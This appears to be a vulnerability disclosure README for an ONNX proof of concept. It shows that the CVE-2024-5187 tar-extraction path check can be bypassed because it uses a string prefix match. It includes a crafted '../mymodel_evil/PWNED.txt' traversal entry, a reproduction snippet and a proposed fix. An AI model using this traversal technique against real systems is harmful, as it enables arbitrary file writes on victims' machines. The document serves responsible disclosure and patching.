ResponsibleReport/onnx-tarslip-poc

ONNX TarSlip PoC - CVE-2024-5187 Fix Bypass

Vulnerability Summary

Path traversal in _tar_members_filter() via startswith() bypass.

Location: onnx/utils.py:278 Affected: ONNX 1.16.2 - 1.21.0 on Python < 3.12

The Bug

# onnx/utils.py lines 276-278
abs_base = os.path.abspath(base)
abs_member = os.path.abspath(member_path)
if not abs_member.startswith(abs_base):  # VULNERABLE

Why It's Bypassable

startswith() is a string prefix match, not a path prefix match.

If extraction base is mymodel, attacker escapes to mymodel_evil/:

Base:    /home/user/.cache/onnx/mymodel
Escaped: /home/user/.cache/onnx/mymodel_evil/PWNED.txt

Check: "...mymodel_evil/...".startswith("...mymodel") = True  <-- BYPASS!

PoC Contents

• malicious_model.tar.gz:
  • mymodel/model.onnx - Legitimate model
  • mymodel/weights.bin - Legitimate weights
  • ../mymodel_evil/PWNED.txt - Path traversal payload

Reproduction

import os

base = "/tmp/mymodel"
malicious = "../mymodel_evil/payload.txt"

abs_base = os.path.abspath(base)
abs_member = os.path.abspath(os.path.join(base, malicious))

print(abs_member.startswith(abs_base))  # True - BYPASS!

Impact

Arbitrary file write outside intended extraction directory via onnx.hub.load_model_with_data().

Fix

if not abs_member.startswith(abs_base + os.sep):

References

• CVE-2024-5187: Original vulnerability (this bypasses the fix)
• https://github.com/onnx/onnx/blob/7c21dc7a0720881802e274821e5170a9550aa110/onnx/utils.py#L278